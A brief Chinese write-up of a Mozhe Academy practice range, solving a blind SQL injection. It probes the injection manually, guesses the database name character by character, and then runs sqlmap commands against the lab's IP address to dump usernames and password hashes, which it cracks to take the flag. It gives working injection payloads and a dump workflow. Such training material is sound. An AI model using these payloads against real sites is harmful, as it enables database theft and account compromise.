0x00
这边我用的是墨者学院的靶场
https://www.mozhe.cn/bug/detail/UDNpU0gwcUhXTUFvQm9HRVdOTmNTdz09bW96aGUmozhe
0x01
下面我进入靶场需要登录
由于没有账号密码弱口令也不行
所以判断不需要登录注入点可以寻找到
这个通知点击进去就是注入点
输入and 1=1 and 1=2 进行验证
0x02
然后在利用语句来判断数据库库名长度
id=1 and length(database())>=1
上面语句的意思是判断数据库名长度有没有大于等于1,这里面1是可变量
返回结果如下
返回正常,证明数据库库名长度大于等于1
11时返回不正常
10返回正常
由此可得数据库库名长度为10位
接着使用逐字符判断的方式来获取数据库库名
数据库库名一般在a-z 1-9
可能还有一些特殊字符这里字母不分大小写逐字符判断的SQL语句如下
and substr (database(),1,1)='t'
substr是截取的意思就是截取database()第一个字符的意思
这边我用burp爆破一下
可以得出第一位数为s
由此类推了,推出数据库的名字为stormgroup
然后.....
还是直接sqlmap
0x03
sqlmap -u "http://219.153.49.228:43381/new_list.php?id=1" --dbs
爆出来数据库名
sqlmap -u "http://219.153.49.228:43381/new_list.php?id=1" -D stormgroup --tables
爆表
sqlmap -u "http://219.153.49.228:43381/new_list.php?id=1" -D stormgroup -T member --columns
爆字段
sqlmap -u "http://219.153.49.228:43381/new_list.php?id=1" -D stormgroup -T member -C "name,password" --dump
爆值
md5解密密码
下面这个是正确账号登陆拿key提交
最后说一句:sqlmap真香